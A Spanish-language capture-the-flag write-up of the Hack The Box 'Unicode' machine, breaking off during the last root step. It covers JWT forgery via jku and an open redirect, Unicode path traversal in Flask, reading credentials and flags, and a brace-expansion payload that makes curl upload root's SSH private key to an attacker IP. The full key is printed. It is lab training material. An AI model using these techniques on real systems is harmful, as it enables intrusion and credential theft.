Unicode
14 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.126
- Fecha: 27 / 11 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.126 -p 22,80
Nmap scan report for 10.10.11.126
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
| 256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_ 256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: 503
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.27 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración web
Si vamos a http://10.10.11.126
veremos una página como esta:
Vemos que hay una funcionalidad de redirección (el botón que dice “Google about us”):
También podemos registrar una nueva cuenta en /register/
:
Luego, podemos iniciar sesión en /login/
y acceder a nuestro dashboard en /dashboard/
:
Si tratamos de registrar una cuenta como admin
, veremos que este usuario ya existe:
Si examinamos la cookie que pone el servidor, vemos que es un token JWT. El contenido del token se puede mostrar fácilmente en jwt.io:
Aquí vemos una claim JWT rara (esto es, una pareja clave-valor en la sección de la cabecera). La clave jku
no es muy común. Vemos que hay un dominio hackmedia.htb
, por lo que podemos añadirlo a /etc/hosts
apuntando a 10.10.11.126
.
Ahora, podemos solicitar http://hackmedia.htb/static/jwks.json
:
$ curl -s hackmedia.htb/static/jwks.json | jq
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
"e": "AQAB"
}
]
}
Esto es un JSON Web Key Set (JWKS). Se utiliza para almacenar la clave pública RSA que verifica el token JWT, porque el token fue firmado con la correspondiente clave privada RSA en el momento de su creación.
Falsificando un token JWT
La idea es sencilla, primero, creamos un par de claves RSA pública y privada. Luego, podemos generar un JWKS con la clave pública y exponerla mediante un servidor web. Después, podemos falsificar un token JWT que tenga admin
como usuario y un valor de jku
que apunte a nuestro JWKS y firmar el token con nuestra clave privada.
Finalmente, la máquina víctima recibirá el token falso y para verificarlo, el servidor cogerá nuestro JWKS y realizará le verificación de forma correcta.
Para este propósito, vamos a usar un script en Python como este:
#!/usr/bin/env python3
import base64
import json
import jwt
import sys
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
from http.server import HTTPServer, SimpleHTTPRequestHandler
privkey = open('priv.key').read()
pubkey = RSA.import_key(open('pub.key').read())
def int_to_b64(x: str | int) -> str:
return base64.urlsafe_b64encode(long_to_bytes(int(x))).decode()
def generate_jwks():
json.dump({'keys': [{
'kty': 'RSA',
'kid': 'hackthebox',
'use': 'sig',
'alg': 'RS256',
'e': int_to_b64(pubkey.e),
'n': int_to_b64(pubkey.n)
}]}, open('jwks.json', 'w'), indent=2)
def main():
generate_jwks()
ip = sys.argv[1]
jku = f'http://{ip}/jwks.json'
token = jwt.encode({'user': 'asdf'}, privkey,
algorithm='RS256',
headers={'jku': jku})
print('[+] JWT token:', token)
HTTPServer(('', 80), SimpleHTTPRequestHandler).serve_forever()
if __name__ == '__main__':
main()
Antes de ejecutar el script tenemos que generar las claves RSA. Para ello usamos openssl
:
$ openssl genrsa -out priv.key 1024
Generating RSA private key, 1024 bit long modulus
.........................................................................................................................++++++
...++++++
e is 65537 (0x10001)
$ openssl rsa -in priv.key -pubout > pub.key
writing RSA key
Para generar el JWKS, tenemos que extraer n
y e
de la clave pública (esto en Pyhton se hace con Crypto.PublicKey.RSA
) y luego codificarlo en Base64. Luego, estos valores junto con otros datos se guardan en un documento JSON llamado jwks.json
.
Entonces, generamos el token JWT falso usando la clave privada y poniendo la URL de jwks.json
como jku
en la cabecera.
Si ejecutamos el script, veremos el token JWT y se iniciará un servidor web en el puerto 80 para servir el archivo jwks.json
:
$ python3 jwks.py 10.10.17.44
[+] JWT token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE3LjQ0L2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.OFeVvgtLOIp2u2Gd-LUrPFsTTCq3LvoDTRW98vZWuy2BfcKz4PuXoCIRKX2Rcbnnb6BDBX3UkL7FPa0XhIcw3Y_ASgEGJQWJdzjPWASwtFj_oTDKIlFz0HhgrvHPTM8Mn_t9D164vrPtHnk_w8rjzX5ZLQ5XnRDra8gusgqXK2s
Luego, podemos usar curl
para ver si el token JWT es válido:
$ curl hackmedia.htb/dashboard/ -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly8xMC4xMC4xNy40NC9qd2tzLmpzb24ifQ.eyJ1c2VyIjoiYWRtaW4ifQ.ba9qYIw2E8ynYq1OPnZ4gDoSOtxpFZMivvgr8YqN7AXuPE1kw4mpEwYoNyPvoH3dAcnVRjkzytaQGvtYuYT8oXHZMrlZ3uN0p76e86p5Crr4tyYk1D4o8GT0KpCY6ABlcxChxonLGH5S3GqqnJ2wqrojoeThJ-CDrJFQM2ggSWI'
jku validation failed
Y el servidor nos dice que el campo jku
es inválido. Además, no recibimos ninguna petición en el registro del servidor Python. La máquina tiene que haber aplicado algún tipo de filtro.
Aquí podemos recordar que había una funcionalidad de redirección en la página web. Si la máquina solamente admite valores de jku
que empiecen por http://hackmedia.htb
, entonces esta validación se puede saltar fácilmente con la función de redirección (Open Redirect). Podemos cambiar el campo jku
en el script así:
+ jku = f'http://hackmedia.htb/redirect?url={ip}/jwks.json'
- jku = f'http://{ip}/jwks.json'
Ejecutamos el script de nuevo:
$ python3 jwks.py 10.10.17.44
[+] JWT token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3JlZGlyZWN0Lz91cmw9MTAuMTAuMTcuNDQvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.cWE5m9Vb9f7PoReY7XjyfRhU-Jrv23yw8C3uum8mVezJCFPeLEBbf030EXrprcGjZjzH4x_I8P9v7NNjAHiVG8bm0JG7BEyE4wjUhtNVTnoiaHnpmbIxvZkZ4UIVmdO4rvVOQYCjIgD4gcoMi2dWF6Az1EbKI1pqJKZypxU4MwM
Y verificamos el token JWT:
$ curl hackmedia.htb/dashboard/ -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3JlZGlyZWN0Lz91cmw9MTAuMTAuMTcuNDQvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.cWE5m9Vb9f7PoReY7XjyfRhU-Jrv23yw8C3uum8mVezJCFPeLEBbf030EXrprcGjZjzH4x_I8P9v7NNjAHiVG8bm0JG7BEyE4wjUhtNVTnoiaHnpmbIxvZkZ4UIVmdO4rvVOQYCjIgD4gcoMi2dWF6Az1EbKI1pqJKZypxU4MwM'
jku validation failed
Y todavía sigue siendo inválido (y no se recibe petición). Vamos a comparar el valor legítimo de jku
con el que estamos usando:
http://hackmedia.htb/static/jwks.json
: Válidohttp://hackmedia.htb/redirect/?url=10.10.17.44/jwks.json
: Inválid0
Existe una opción más, y es usando una navegación de directorios para que el campo jku
empiece por http://hackmedia.htb/static/
y acceder a /redirect/
. Esto se refleja en la siguiente URL:
http://hackmedia.htb/static/jwks.json
: Validhttp://hackmedia.htb/static/../redirect/?url=10.10.17.44/jwks.json
: To try
Entonces, vamos a cambiar el jku
en el script otra vez:
+ jku = f'http://hackmedia.htb/static/../redirect?url={ip}/jwks.json'
- jku = f'http://hackmedia.htb/redirect?url={ip}/jwks.json'
Ejecutamos otra vez el script:
$ python3 jwks.py 10.10.17.44
[+] JWT token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE3LjQ0L2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.OFeVvgtLOIp2u2Gd-LUrPFsTTCq3LvoDTRW98vZWuy2BfcKz4PuXoCIRKX2Rcbnnb6BDBX3UkL7FPa0XhIcw3Y_ASgEGJQWJdzjPWASwtFj_oTDKIlFz0HhgrvHPTM8Mn_t9D164vrPtHnk_w8rjzX5ZLQ5XnRDra8gusgqXK2s
Y ya no hay mensaje de error:
$ curl hackmedia.htb/dashboard/ -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE3LjQ0L2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.OFeVvgtLOIp2u2Gd-LUrPFsTTCq3LvoDTRW98vZWuy2BfcKz4PuXoCIRKX2Rcbnnb6BDBX3UkL7FPa0XhIcw3Y_ASgEGJQWJdzjPWASwtFj_oTDKIlFz0HhgrvHPTM8Mn_t9D164vrPtHnk_w8rjzX5ZLQ5XnRDra8gusgqXK2s'
<!doctype html>
<html lang="en">
<!-- ... -->
</html>
Por tanto, tenemos un token JWT falso que a ojos del servidor es válido. Además, tenemos una petición en el registro de nuestro servidor:
$ python3 jwks.py 10.10.17.44
[+] JWT token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE3LjQ0L2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.OFeVvgtLOIp2u2Gd-LUrPFsTTCq3LvoDTRW98vZWuy2BfcKz4PuXoCIRKX2Rcbnnb6BDBX3UkL7FPa0XhIcw3Y_ASgEGJQWJdzjPWASwtFj_oTDKIlFz0HhgrvHPTM8Mn_t9D164vrPtHnk_w8rjzX5ZLQ5XnRDra8gusgqXK2s
10.10.11.126 - - [] "GET /jwks.json HTTP/1.1" 200 -
Ahora podemos crear un token JWT falso para el usuario admin
. Y esto nos lleva a un dashboard diferente:
Nótese que el servidor de Python tiene que seguir en ejecución para que el archivo jwks.json
esté accesible y que la máquina pueda validar el token JWT.
Explotación de Directory Path Traversal
En este dashboard vemos una función para descargar archivos PDF (aunque parece que no está terminada):
Los archivos válidos son: monthly.pdf
y quarterly.pdf
.
En este punto, podemos tratar un payload típico de Directory Path Traversal para ver si el servidor es vulnerable (esto es, usar múltiples ../
y luego un archivo como /etc/passwd
):
Como se puede ver, el servidor bloquea nuestra petición. Y también dice que aplica algunos filtros, desafiándonos a burlarlos.
Después de probar payloads de HackTricks y PayloadsAllTheThings sin resultados interesantes, podemos pensar en caracteres UTF-8 (ya que la máquina se llama Unicode).
De hecho, existe una técnica de bypassing en Flask que utiliza un solo carácter Unicode que visualmente se parece a ..
o /
(por ejemplo: ‥
, ︰
or /
), y Flask los interpreta como dos puntos y una barra. Más información aquí.
Podemos verificar fácilmente que el servidor está corriendo Flask mirando el mensaje de estado de la respuesta HTTP. Si está en letras mayúsculas, es probable que estemos ante una aplicación Flask:
$ curl hackmedia.htb -I
HTTP/1.1 308 PERMANENT REDIRECT
Server: nginx/1.18.0 (Ubuntu)
Date:
Content-Type: text/html; charset=utf-8
Content-Length: 260
Connection: keep-alive
Location: http://hackmedia.htb/login/
Ahora que sabemos que la aplicación es Flask, podemos usar los caracteres Unicode de antes para obtener /etc/passwd
:
La página web es vulnerable a Directory Path Traversal. Decidí añadir este exploit al script de Python anterior (con los caracteres Unicode). El script esdpt-jwks.py (explicación detallada aquí).
Con este script, podemos leer archivos del servidor de manera sencilla:
$ python3 dpt-jwks.py 10.10.17.44
[+] JWT token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE3LjQ0L2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.OFeVvgtLOIp2u2Gd-LUrPFsTTCq3LvoDTRW98vZWuy2BfcKz4PuXoCIRKX2Rcbnnb6BDBX3UkL7FPa0XhIcw3Y_ASgEGJQWJdzjPWASwtFj_oTDKIlFz0HhgrvHPTM8Mn_t9D164vrPtHnk_w8rjzX5ZLQ5XnRDra8gusgqXK2s
[+] Vulnerable page: http://hackmedia.htb/display/?page=%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/etc/passwd
dpt> /etc/hosts
127.0.0.1 localhost
127.0.1.1 code
127.0.0.1 hackmedia.htb
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Como el servidor usa nginx (mostrado en la salida de nmap
), podemos tratar de ver la configuración de los sitios web:
dpt> /etc/nginx/sites-enabled/default
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=800r/s;
server{
# Change the Webroot from /home/code/app/ to /var/www/html/
# Change the user password from db.yaml
listen 80;
error_page 503 /rate-limited/;
location / {
limit_req zone=mylimit;
proxy_pass http://localhost:8000;
include /etc/nginx/proxy_params;
proxy_redirect off;
}
location /static/ {
alias /home/code/coder/static/styles/;
}
}
Aquí hay algunas cosas interesantes:
- “Change the Webroot from /home/code/app/ to /var/www/html/”
- “Change the user password from db.yaml”
Tenemos que encontrar la ruta absoluta al archivo db.yaml
porque podría contener credenciales en texto claro. Con esta información, podemos probar las siguientes rutas:
/home/code/db.yaml
/home/code/app/db.yaml
/var/www/html/db.yaml
/home/code/coder/static/styles/db.yaml
/home/code/coder/static/db.yaml
/home/code/coder/db.yaml
Y la última es la correcta:
dpt> /home/code/coder/db.yaml
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"
Además, también podemos conseguir la flag user.txt
:
dpt> /home/code/user.txt
eb2b21ad20f6b9239746d35881f4e023
Enumeración del sistema
La contraseña encontrada en el archivo db.yaml
se reutiliza para SSH:
$ ssh code@10.10.11.126
code@10.10.11.126's password:
code@code:~$
El usuario code
puede usar sudo
para ejecutar /usr/bin/treport
como root
sin contraseña (aunque la conocemos):
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport
Este archivo es un binario compilado:
code@code:~$ file /usr/bin/treport
/usr/bin/treport: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6af5bc244c001328c174a6abf855d682aa7401b, for GNU/Linux 2.6.32, stripped
El programa nos permite crear, leer y descargar reportes de amenazas:
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:
Si interactuamos con el programa y forzamos la salida (^C
), veremos un KeyboardInterrupt
:
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:^CTraceback (most recent call last):
File "treport.py", line 67, in <module>
KeyboardInterrupt
[2177] Failed to execute script 'treport' due to unhandled exception!
Esta es una excepción común en scripts de Python. Y esto nos dice que treport
es un binario compilado con Python. Además, hay una referencia a un archivo treport.py
.
Ingeniería inversa sobre treport
Para transferir el binario treport
a nuestra máquina de atacante, se puede abrir un servidor web en la máquina víctima con Python y descargar el binario con wget
o curl
.
Para extraer el byte-code (.pyc
), podemos usar PyInstaller Extractor. Luego, con el byte-code podemos obtener el script de Python original con uncompyle6
(pip3 install uncompyle6
).
Estas herramientas necesitan Python versión 3.8. Para prevenir problemas, esta tarea se puede realizar en un contenedor de Docker:
$ wget -q https://raw.githubusercontent.com/extremecoders-re/pyinstxtractor/master/pyinstxtractor.py
$ docker run --rm -v "$PWD"/:/htb -it python:3.8 bash
root@28075f8d8030:/# cd htb
root@28075f8d8030:/htb# pip3 install uncompyle6
...
root@28075f8d8030:/htb# python3 pyinstxtractor.py treport
[+] Processing treport
[+] Pyinstaller version: 2.1+
[+] Python version: 38
[+] Length of package: 6798297 bytes
[+] Found 46 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: treport.pyc
[+] Found 223 files in PYZ archive
[+] Successfully extracted pyinstaller archive: treport
You can now use a python decompiler on the pyc files within the extracted directory
root@28075f8d8030:/htb# uncompyle6 treport_extracted/treport.pyc > treport.py
Y ahora somos capaces de leer el código fuente en Python y analizarlo:
import os, re, sys
from datetime import datetime
class threat_report:
def create(self):
file_name = input('Enter the filename:')
content = input('Enter the report:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
file_path = '/root/reports/' + file_name
with open(file_path, 'w') as (fd):
fd.write(content)
def list_files(self):
file_list = os.listdir('/root/reports/')
files_in_dir = ' '.join([str(elem) for elem in file_list])
print('ALL THE THREAT REPORTS:')
print(files_in_dir)
def read_file(self):
file_name = input('\nEnter the filename:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
contents = ''
file_name = '/root/reports/' + file_name
try:
with open(file_name, 'r') as (fd):
contents = fd.read()
except:
print('SOMETHING IS WRONG')
else:
print(contents)
def download(self):
now = datetime.now()
current_time = now.strftime('%H_%M_%S')
command_injection_list = ['`', ';', '&', '|', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']
ip = input('Enter the IP/file_name:')
res = bool(re.search('\\s', ip))
if res:
print('INVALID IP')
sys.exit(0)
if 'file' in ip or 'gopher' in ip or 'mysql' in ip:
print('INVALID URL')
sys.exit(0)
for vars in command_injection_list:
if vars in ip:
print('NOT ALLOWED')
sys.exit(0)
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)
if __name__ == '__main__':
obj = threat_report()
print('1.Create Threat Report.')
print('2.Read Threat Report.')
print('3.Download A Threat Report.')
print('4.Quit.')
check = True
if check:
choice = input('Enter your choice:')
try:
choice = int(choice)
except:
print('Wrong Input')
sys.exit(0)
else:
if choice == 1:
obj.create()
elif choice == 2:
obj.list_files()
obj.read_file()
elif choice == 3:
obj.download()
elif choice == 4:
check = False
else:
print('Wrong input.')
Si leemos los cuatro métodos existentes:
list_files
no parece vulnerableread_file
parece que tiene un buen filtro para../
create
también parece tener un buen filtro para../
download
tiene una lista de caracteres no permitidos, pero también tiene un comando de sistema en el que se concatenan datos de entrada de usuario
Claramente, el método más vulnerable es download
. Vamos a echar un vistazo a los caracteres no permitidos:
['`', ';', '&', '|', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']
De hecho, quizás es más fácil si miramos qué caracteres podemos utilizar (sin contar letras y números):
['{', '}', ',', '.', '[', ']', '-', '+', ':', '"', '/', '*']
Nótese que no podemos usar espacios porque hay una expresión regular que busca cualquier espacio en blanco:
res = bool(re.search('\\s', ip))
Vamos a ver qué podemos hacer con estos caracteres.
Escalada de privilegios con sudo
Como se mostró antes, el usuario code
puede ejecutar /usr/bin/treport
como root
usando sudo
. Por lo que todas las acciones que se ejecuten en este contexto se realizarán como root
.
El programa treport
utiliza curl
para descargar reportes de amenazas. Lo podemos ver en el código fuente o poniendo 127.0.0.1
:
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:127.0.0.1
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2078 100 2078 0 0 405k 0 --:--:-- --:--:-- --:--:-- 405k
Y se muestra la salida del comando curl
. De hecho, podemos no introducir nada y ver un error de curl
:
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
Incluso podemos ver el panel de ayuda de curl
:
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:--help
Usage: curl [options...] <url>
--abstract-unix-socket <path> Connect via abstract Unix domain socket
--alt-svc <file name> Enable alt-svc with this cache file
--anyauth Pick any authentication method
-a, --append Append to target file when uploading
--basic Use HTTP Basic Authentication
--cacert <file> CA certificate to verify peer against
--capath <dir> CA directory to verify peer against
...
Teniendo en cuenta que podemos utilizar {
, }
y ,
, podemos utilizarlos como “espacios” porque así funciona en Bash.
Por ejemplo, este comando:
$ curl {10.10.17.44,-T,/root/.ssh/id_rsa} -o /root/reports/threat_report_HH_MM_SS
Es equivalente a:
$ curl 10.10.17.44 -T /root/.ssh/id_rsa -o /root/reports/threat_report_HH_MM_SS
Con este payload, podemos transferir la clave privada SSH de root
a nuestra máquina (-T
se usa en curl
para subir el contenido de un archivo con una petición PUT). Para ello, usamos nc
para escuchar en el puerto 80 (HTTP) y ponemos el payload en treport
:
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{10.10.17.44,-T,/root/.ssh/id_rsa}
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2590 0 0 100 2590 0 1257 0:00:02 0:00:02 --:--:-- 1257
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.126.
Ncat: Connection from 10.10.11.126:33912.
PUT /id_rsa HTTP/1.1
Host: 10.10.17.44
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 2590
Expect: 100-continue
-----BEGIN OPENSSH PRIVATE KEY-----
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
a5BI6W1lTZzjUAAAAJcm9vdEBjb2RlAQI=
-----END OPENSSH PRIVATE KEY-----
Sin embargo, esta clave privada de SSH no funciona. Se podría transferir la flag root.txt
de la misma manera.
Si queremos una shell como root
, tenemos dos opciones ya que podemos escribir archivos mediante curl
(permisos de escritura como root
):
- Modificar el archivo
/etc/passwd
para cambiar la contraseña deroot
- Subir una clave pública de SSH en
/root/.ssh/authorized_keys
Este vez, elegiré la seguida opción. Para ello, tenemos que generar un par de claves SSH y exponer la pública con un servidor web:
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (~/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:i1sUXxdZ0+4pw/Y7Tv0KW/DwqgFdCCZhJTmpJ32a6Pk
The key's randomart image is:
+---[RSA 3072]----+
| ==+ .+o|
| .++ . . ..o|
| o .. . o .. |
| o o .+ o . .|
| + +S o + ..|
| . oo o X .o|
| . .. o . o B..|
| o o . =.o.|
| .E ..o o++|
+----[SHA256]-----+
$ python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
Luego, con treport
podemos pedir la clave pública (id_rsa.pub
) y guardarla en /root/.ssh/authorized_keys
:
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
